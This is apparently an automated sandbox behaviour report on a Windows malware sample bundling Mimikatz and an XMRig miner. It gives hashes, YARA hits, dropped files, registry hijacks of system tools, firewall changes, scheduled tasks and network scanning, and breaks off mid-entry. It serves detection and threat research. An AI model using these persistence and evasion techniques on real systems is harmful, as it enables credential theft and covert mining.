Analysis
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max time kernel
150s -
max time network
150s -
platform
windows7_x64 -
resource
win7-20240215-en -
resource tags
arch:x64arch:x86image:win7-20240215-enlocale:en-usos:windows7-x64system -
submitted
06/05/2024, 05:32
Behavioral task
behavioral1
Sample
2024-05-06_860c6ccd843fbfe99cc4ca676c0beb6b_hacktools_icedid_mimikatz.exe
Resource
win7-20240215-en
General
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Target
2024-05-06_860c6ccd843fbfe99cc4ca676c0beb6b_hacktools_icedid_mimikatz.exe
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Size
8.8MB
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MD5
860c6ccd843fbfe99cc4ca676c0beb6b
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SHA1
e74eab89607414246258df9b77bced8b7e129427
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SHA256
8cbd68dbe309f9d55f71744877f9550ab69c9c666dad1712ed7924d721a67ee7
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SHA512
50ebd11f2789315365c693d7fd9d4237292b61ecafe5f7229345bdf69150a12f5a6d775448689cbc6dc05e5f78113f8a2cc48dbfe1237576efe0ad3038740745
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SSDEEP
196608:MxygkmknGzwHdOgEPHd9BRX/nivPlTXTYo:Y5jz0E51/iv1
Malware Config
Signatures
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Mimikatz
mimikatz is an open source tool to dump credentials on Windows.
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Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
description pid Process procid_target PID 2776 created 1080 2776 yrklftl.exe 19 -
Contacts a large (28284) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
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Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
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Detects executables containing SQL queries to confidential data stores. Observed in infostealers 2 IoCs
resource yara_rule behavioral1/memory/1988-137-0x000000013F460000-0x000000013F54E000-memory.dmp INDICATOR_SUSPICIOUS_EXE_SQLQuery_ConfidentialDataStore behavioral1/memory/2776-167-0x0000000002FD0000-0x00000000030F0000-memory.dmp INDICATOR_SUSPICIOUS_EXE_SQLQuery_ConfidentialDataStore -
UPX dump on OEP (original entry point) 35 IoCs
resource yara_rule behavioral1/memory/1728-0-0x0000000000400000-0x0000000000A9B000-memory.dmp UPX behavioral1/memory/1728-4-0x0000000000400000-0x0000000000A9B000-memory.dmp UPX behavioral1/files/0x0030000000014eb9-5.dat UPX behavioral1/memory/2596-9-0x0000000000400000-0x0000000000A9B000-memory.dmp UPX behavioral1/files/0x0005000000019331-130.dat UPX behavioral1/memory/1428-133-0x0000000000FA0000-0x000000000108E000-memory.dmp UPX behavioral1/memory/1988-136-0x000000013F460000-0x000000013F54E000-memory.dmp UPX behavioral1/memory/1988-137-0x000000013F460000-0x000000013F54E000-memory.dmp UPX behavioral1/files/0x000500000001947d-158.dat UPX behavioral1/memory/2896-162-0x000000013F4F0000-0x000000013F54B000-memory.dmp UPX behavioral1/files/0x000500000001942c-164.dat UPX behavioral1/memory/1200-168-0x000000013F700000-0x000000013F820000-memory.dmp UPX behavioral1/memory/2776-167-0x0000000002FD0000-0x00000000030F0000-memory.dmp UPX behavioral1/memory/2896-170-0x000000013F4F0000-0x000000013F54B000-memory.dmp UPX behavioral1/memory/1304-177-0x000000013FB70000-0x000000013FBCB000-memory.dmp UPX behavioral1/memory/1304-179-0x000000013FB70000-0x000000013FBCB000-memory.dmp UPX behavioral1/memory/3040-184-0x000000013FF20000-0x000000013FF7B000-memory.dmp UPX behavioral1/memory/3040-186-0x000000013FF20000-0x000000013FF7B000-memory.dmp UPX behavioral1/memory/896-191-0x000000013F310000-0x000000013F36B000-memory.dmp UPX behavioral1/memory/896-193-0x000000013F310000-0x000000013F36B000-memory.dmp UPX behavioral1/memory/1200-195-0x000000013F700000-0x000000013F820000-memory.dmp UPX behavioral1/memory/1780-201-0x000000013FF00000-0x000000013FF5B000-memory.dmp UPX behavioral1/memory/1780-204-0x000000013FF00000-0x000000013FF5B000-memory.dmp UPX behavioral1/memory/1200-207-0x000000013F700000-0x000000013F820000-memory.dmp UPX behavioral1/memory/1200-208-0x000000013F700000-0x000000013F820000-memory.dmp UPX behavioral1/memory/2776-210-0x0000000001A10000-0x0000000001A6B000-memory.dmp UPX behavioral1/memory/1200-209-0x000000013F700000-0x000000013F820000-memory.dmp UPX behavioral1/memory/1200-215-0x000000013F700000-0x000000013F820000-memory.dmp UPX behavioral1/memory/1200-216-0x000000013F700000-0x000000013F820000-memory.dmp UPX behavioral1/memory/1200-232-0x000000013F700000-0x000000013F820000-memory.dmp UPX behavioral1/memory/1200-234-0x000000013F700000-0x000000013F820000-memory.dmp UPX behavioral1/memory/1200-237-0x000000013F700000-0x000000013F820000-memory.dmp UPX behavioral1/memory/1200-288-0x000000013F700000-0x000000013F820000-memory.dmp UPX behavioral1/memory/1200-297-0x000000013F700000-0x000000013F820000-memory.dmp UPX behavioral1/memory/1200-299-0x000000013F700000-0x000000013F820000-memory.dmp UPX -
XMRig Miner payload 12 IoCs
resource yara_rule behavioral1/memory/1200-195-0x000000013F700000-0x000000013F820000-memory.dmp xmrig behavioral1/memory/1200-207-0x000000013F700000-0x000000013F820000-memory.dmp xmrig behavioral1/memory/1200-208-0x000000013F700000-0x000000013F820000-memory.dmp xmrig behavioral1/memory/1200-209-0x000000013F700000-0x000000013F820000-memory.dmp xmrig behavioral1/memory/1200-215-0x000000013F700000-0x000000013F820000-memory.dmp xmrig behavioral1/memory/1200-216-0x000000013F700000-0x000000013F820000-memory.dmp xmrig behavioral1/memory/1200-232-0x000000013F700000-0x000000013F820000-memory.dmp xmrig behavioral1/memory/1200-234-0x000000013F700000-0x000000013F820000-memory.dmp xmrig behavioral1/memory/1200-237-0x000000013F700000-0x000000013F820000-memory.dmp xmrig behavioral1/memory/1200-288-0x000000013F700000-0x000000013F820000-memory.dmp xmrig behavioral1/memory/1200-297-0x000000013F700000-0x000000013F820000-memory.dmp xmrig behavioral1/memory/1200-299-0x000000013F700000-0x000000013F820000-memory.dmp xmrig -
mimikatz is an open source tool to dump credentials on Windows 7 IoCs
resource yara_rule behavioral1/memory/1728-0-0x0000000000400000-0x0000000000A9B000-memory.dmp mimikatz behavioral1/memory/1728-4-0x0000000000400000-0x0000000000A9B000-memory.dmp mimikatz behavioral1/files/0x0030000000014eb9-5.dat mimikatz behavioral1/memory/2596-9-0x0000000000400000-0x0000000000A9B000-memory.dmp mimikatz behavioral1/memory/1428-134-0x0000000000FA0000-0x000000000108E000-memory.dmp mimikatz behavioral1/memory/1988-137-0x000000013F460000-0x000000013F54E000-memory.dmp mimikatz behavioral1/memory/2776-167-0x0000000002FD0000-0x00000000030F0000-memory.dmp mimikatz -
Drops file in Drivers directory 3 IoCs
description ioc Process File opened for modification C:\Windows\system32\drivers\etc\hosts yrklftl.exe File created C:\Windows\system32\drivers\npf.sys wpcap.exe File created C:\Windows\system32\drivers\etc\hosts yrklftl.exe -
Modifies Windows Firewall 2 TTPs 2 IoCs
pid Process 2120 netsh.exe 356 netsh.exe -
Sets file execution options in registry 2 TTPs 40 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\perfmon.exe yrklftl.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Regsvr32.exe yrklftl.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bitsadmin.exe yrklftl.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rundll32.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" yrklftl.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WmiPrvSE.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" yrklftl.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskkill.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" yrklftl.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\reg.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" yrklftl.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\powershell.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" yrklftl.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cscript.exe yrklftl.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cscript.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" yrklftl.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regini.exe yrklftl.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\at.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" yrklftl.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\perfmon.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" yrklftl.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe yrklftl.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bitsadmin.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" yrklftl.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mshta.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" yrklftl.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wscript.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" yrklftl.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\certutil.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" yrklftl.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WmiPrvSE.exe yrklftl.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskkill.exe yrklftl.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\takeown.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" yrklftl.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\powershell.exe yrklftl.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\icacls.exe yrklftl.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\at.exe yrklftl.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mshta.exe yrklftl.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rundll32.exe yrklftl.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\icacls.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" yrklftl.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regini.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" yrklftl.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" yrklftl.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\certutil.exe yrklftl.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Regsvr32.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" yrklftl.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WinSAT.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" yrklftl.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\netsh.exe yrklftl.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\netsh.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" yrklftl.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wscript.exe yrklftl.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" yrklftl.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WinSAT.exe yrklftl.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\takeown.exe yrklftl.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\reg.exe yrklftl.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe yrklftl.exe -
Executes dropped EXE 16 IoCs
pid Process 2596 yrklftl.exe 2776 yrklftl.exe 2860 wpcap.exe 584 itcusielr.exe 1988 vfshost.exe 2572 xohudmc.exe 572 gkmiuy.exe 2896 vekeuubbl.exe 1200 mitzpm.exe 1304 vekeuubbl.exe 3040 vekeuubbl.exe 896 vekeuubbl.exe 1780 vekeuubbl.exe 2316 yrklftl.exe 2280 mqmqbrmul.exe 2492 yrklftl.exe -
Loads dropped DLL 22 IoCs
pid Process 1628 cmd.exe 1628 cmd.exe 2740 cmd.exe 2860 wpcap.exe 2860 wpcap.exe 2860 wpcap.exe 2860 wpcap.exe 2860 wpcap.exe 480 cmd.exe 584 itcusielr.exe 584 itcusielr.exe 1428 cmd.exe 1428 cmd.exe 2776 yrklftl.exe 2776 yrklftl.exe 2776 yrklftl.exe 2776 yrklftl.exe 2776 yrklftl.exe 2776 yrklftl.exe 2776 yrklftl.exe 2776 yrklftl.exe 1560 cmd.exe -
resource yara_rule behavioral1/files/0x0005000000019331-130.dat upx behavioral1/memory/1988-136-0x000000013F460000-0x000000013F54E000-memory.dmp upx behavioral1/memory/1988-137-0x000000013F460000-0x000000013F54E000-memory.dmp upx behavioral1/files/0x000500000001947d-158.dat upx behavioral1/memory/2896-162-0x000000013F4F0000-0x000000013F54B000-memory.dmp upx behavioral1/files/0x000500000001942c-164.dat upx behavioral1/memory/1200-168-0x000000013F700000-0x000000013F820000-memory.dmp upx behavioral1/memory/2776-167-0x0000000002FD0000-0x00000000030F0000-memory.dmp upx behavioral1/memory/2896-170-0x000000013F4F0000-0x000000013F54B000-memory.dmp upx behavioral1/memory/1304-177-0x000000013FB70000-0x000000013FBCB000-memory.dmp upx behavioral1/memory/1304-179-0x000000013FB70000-0x000000013FBCB000-memory.dmp upx behavioral1/memory/3040-184-0x000000013FF20000-0x000000013FF7B000-memory.dmp upx behavioral1/memory/3040-186-0x000000013FF20000-0x000000013FF7B000-memory.dmp upx behavioral1/memory/896-191-0x000000013F310000-0x000000013F36B000-memory.dmp upx behavioral1/memory/896-193-0x000000013F310000-0x000000013F36B000-memory.dmp upx behavioral1/memory/1200-195-0x000000013F700000-0x000000013F820000-memory.dmp upx behavioral1/memory/1780-201-0x000000013FF00000-0x000000013FF5B000-memory.dmp upx behavioral1/memory/1780-204-0x000000013FF00000-0x000000013FF5B000-memory.dmp upx behavioral1/memory/1200-207-0x000000013F700000-0x000000013F820000-memory.dmp upx behavioral1/memory/1200-208-0x000000013F700000-0x000000013F820000-memory.dmp upx behavioral1/memory/2776-210-0x0000000001A10000-0x0000000001A6B000-memory.dmp upx behavioral1/memory/1200-209-0x000000013F700000-0x000000013F820000-memory.dmp upx behavioral1/memory/1200-215-0x000000013F700000-0x000000013F820000-memory.dmp upx behavioral1/memory/1200-216-0x000000013F700000-0x000000013F820000-memory.dmp upx behavioral1/memory/1200-232-0x000000013F700000-0x000000013F820000-memory.dmp upx behavioral1/memory/1200-234-0x000000013F700000-0x000000013F820000-memory.dmp upx behavioral1/memory/1200-237-0x000000013F700000-0x000000013F820000-memory.dmp upx behavioral1/memory/1200-288-0x000000013F700000-0x000000013F820000-memory.dmp upx behavioral1/memory/1200-297-0x000000013F700000-0x000000013F820000-memory.dmp upx behavioral1/memory/1200-299-0x000000013F700000-0x000000013F820000-memory.dmp upx -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
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Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 15 ifconfig.me 16 ifconfig.me -
Creates a Windows Service
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Drops file in System32 directory 12 IoCs
description ioc Process File created C:\Windows\SysWOW64\pthreadVC.dll wpcap.exe File created C:\Windows\SysWOW64\wpcap.dll wpcap.exe File created C:\Windows\system32\wpcap.dll wpcap.exe File created C:\Windows\system32\Packet.dll wpcap.exe File opened for modification C:\Windows\SysWOW64\gkmiuy.exe xohudmc.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2326C1864DE719190C396A6E8734D8B4 yrklftl.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\Temporary Internet Files\counters.dat yrklftl.exe File created C:\Windows\SysWOW64\Packet.dll wpcap.exe File created C:\Windows\SysWOW64\gkmiuy.exe xohudmc.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751 yrklftl.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\103621DE9CD5414CC2538780B4B75751 yrklftl.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2326C1864DE719190C396A6E8734D8B4 yrklftl.exe -
Drops file in Program Files directory 3 IoCs
description ioc Process File created C:\Program Files\WinPcap\rpcapd.exe wpcap.exe File created C:\Program Files\WinPcap\LICENSE wpcap.exe File created C:\Program Files\WinPcap\uninstall.exe wpcap.exe -
Drops file in Windows directory 60 IoCs
description ioc Process File created C:\Windows\iibfpugis\UnattendGC\AppCapture64.dll yrklftl.exe File opened for modification C:\Windows\iibfpugis\Corporate\log.txt cmd.exe File created C:\Windows\iibfpugis\fewectaiq\wpcap.dll yrklftl.exe File created C:\Windows\iibfpugis\UnattendGC\specials\posh-0.dll yrklftl.exe File created C:\Windows\iibfpugis\Corporate\mimidrv.sys yrklftl.exe File created C:\Windows\iibfpugis\upbdrjv\swrpwe.exe yrklftl.exe File created C:\Windows\iibfpugis\fewectaiq\ip.txt yrklftl.exe File opened for modification C:\Windows\iibfpugis\fewectaiq\Packet.dll yrklftl.exe File created C:\Windows\iibfpugis\UnattendGC\specials\xdvl-0.dll yrklftl.exe File created C:\Windows\iibfpugis\UnattendGC\specials\docmicfg.xml yrklftl.exe File created C:\Windows\iibfpugis\UnattendGC\specials\tucl-1.dll yrklftl.exe File created C:\Windows\iibfpugis\UnattendGC\specials\schoedcl.exe yrklftl.exe File created C:\Windows\gtgcurlb\yrklftl.exe 2024-05-06_860c6ccd843fbfe99cc4ca676c0beb6b_hacktools_icedid_mimikatz.exe File created C:\Windows\iibfpugis\UnattendGC\specials\trfo-2.dll yrklftl.exe File created C:\Windows\iibfpugis\UnattendGC\specials\vimpcsvc.exe yrklftl.exe File opened for modification C:\Windows\gtgcurlb\docmicfg.xml yrklftl.exe File created C:\Windows\iibfpugis\fewectaiq\Packet.dll yrklftl.exe File created C:\Windows\iibfpugis\UnattendGC\specials\ssleay32.dll yrklftl.exe File created C:\Windows\iibfpugis\UnattendGC\AppCapture32.dll yrklftl.exe File opened for modification C:\Windows\iibfpugis\fewectaiq\Result.txt mqmqbrmul.exe File created C:\Windows\iibfpugis\UnattendGC\specials\ucl.dll yrklftl.exe File created C:\Windows\iibfpugis\UnattendGC\Shellcode.ini yrklftl.exe File created C:\Windows\iibfpugis\UnattendGC\specials\exma-1.dll yrklftl.exe File created C:\Windows\iibfpugis\UnattendGC\specials\tibe-2.dll yrklftl.exe File created C:\Windows\iibfpugis\UnattendGC\specials\zlib1.dll yrklftl.exe File created C:\Windows\iibfpugis\Corporate\vfshost.exe yrklftl.exe File created C:\Windows\iibfpugis\Corporate\mimilib.dll yrklftl.exe File created C:\Windows\iibfpugis\fewectaiq\wpcap.exe yrklftl.exe File created C:\Windows\iibfpugis\fewectaiq\mqmqbrmul.exe yrklftl.exe File opened for modification C:\Windows\gtgcurlb\schoedcl.xml yrklftl.exe File created C:\Windows\iibfpugis\UnattendGC\schoedcl.xml yrklftl.exe File created C:\Windows\gtgcurlb\docmicfg.xml yrklftl.exe File created C:\Windows\iibfpugis\UnattendGC\specials\crli-0.dll yrklftl.exe File created C:\Windows\iibfpugis\UnattendGC\specials\libxml2.dll yrklftl.exe File created C:\Windows\gtgcurlb\spoolsrv.xml yrklftl.exe File created C:\Windows\gtgcurlb\vimpcsvc.xml yrklftl.exe File opened for modification C:\Windows\gtgcurlb\svschost.xml yrklftl.exe File created C:\Windows\iibfpugis\UnattendGC\specials\cnli-1.dll yrklftl.exe File created C:\Windows\iibfpugis\UnattendGC\specials\coli-0.dll yrklftl.exe File opened for modification C:\Windows\gtgcurlb\yrklftl.exe 2024-05-06_860c6ccd843fbfe99cc4ca676c0beb6b_hacktools_icedid_mimikatz.exe File created C:\Windows\iibfpugis\UnattendGC\specials\spoolsrv.xml yrklftl.exe File opened for modification C:\Windows\gtgcurlb\spoolsrv.xml yrklftl.exe File created C:\Windows\ime\yrklftl.exe yrklftl.exe File created C:\Windows\iibfpugis\UnattendGC\specials\trch-1.dll yrklftl.exe File created C:\Windows\iibfpugis\UnattendGC\specials\docmicfg.exe yrklftl.exe File created C:\Windows\gtgcurlb\svschost.xml yrklftl.exe File created C:\Windows\iibfpugis\UnattendGC\specials\svschost.xml yrklftl.exe File created C:\Windows\iibfpugis\UnattendGC\specials\schoedcl.xml yrklftl.exe File opened for modification C:\Windows\gtgcurlb\vimpcsvc.xml yrklftl.exe File created C:\Windows\iibfpugis\fewectaiq\scan.bat yrklftl.exe File created C:\Windows\iibfpugis\UnattendGC\svschost.xml yrklftl.exe File created C:\Windows\iibfpugis\UnattendGC\vimpcsvc.xml yrklftl.exe File created C:\Windows\gtgcurlb\schoedcl.xml yrklftl.exe File created C:\Windows\iibfpugis\fewectaiq\itcusielr.exe yrklftl.exe File created C:\Windows\iibfpugis\UnattendGC\docmicfg.xml yrklftl.exe File created C:\Windows\iibfpugis\UnattendGC\specials\spoolsrv.exe yrklftl.exe File created C:\Windows\iibfpugis\UnattendGC\spoolsrv.xml yrklftl.exe File created C:\Windows\iibfpugis\UnattendGC\specials\vimpcsvc.xml yrklftl.exe File created C:\Windows\iibfpugis\UnattendGC\specials\libeay32.dll yrklftl.exe File created C:\Windows\iibfpugis\UnattendGC\specials\svschost.exe yrklftl.exe -
Launches sc.exe 4 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 2216 sc.exe 2752 sc.exe 2220 sc.exe 1992 sc.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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NSIS installer 3 IoCs
resource yara_rule behavioral1/files/0x0030000000014eb9-5.dat nsis_installer_2 behavioral1/files/0x0008000000015c4c-15.dat nsis_installer_1 behavioral1/files/0x0008000000015c4c-15.dat nsis_installer_2 -
Creates scheduled task(s) 1 TTPs 3 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 1000 schtasks.exe 3048 schtasks.exe 2196 schtasks.exe -
Modifies data under HKEY_USERS 64 IoCs
description ioc Process Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\napipsec.dll,-4 = "1.0" netsh.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Sysinternals\ProcDump\EulaAccepted = "1" vekeuubbl.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\Certificates yrklftl.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Root\CRLs yrklftl.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections yrklftl.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CRLs yrklftl.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\dhcpqec.dll,-100 = "DHCP Quarantine Enforcement Client" netsh.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing yrklftl.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root yrklftl.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Root\CTLs yrklftl.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\Certificates yrklftl.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\trust\Certificates yrklftl.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-101 = "Provides RD Gateway enforcement for NAP" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\eapqec.dll,-100 = "EAP Quarantine Enforcement Client" netsh.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings yrklftl.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump vekeuubbl.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyEnable = "0" yrklftl.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{CADE6830-8F96-47AE-B510-4B0DB6214296}\WpadDecisionTime = e041a5d7769fda01 yrklftl.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\eapqec.dll,-102 = "1.0" netsh.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Sysinternals\ProcDump\EulaAccepted = "1" vekeuubbl.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History\CachePrefix = "Visited:" yrklftl.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump vekeuubbl.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\CRLs yrklftl.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0" yrklftl.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Sysinternals\ProcDump vekeuubbl.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs yrklftl.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\eapqec.dll,-101 = "Provides Network Access Protection enforcement for EAP authenticated network connections, such as those used with 802.1X and VPN technologies." netsh.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump vekeuubbl.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\26-d5-3b-fd-27-a2\WpadDetectedUrl yrklftl.exe Key created 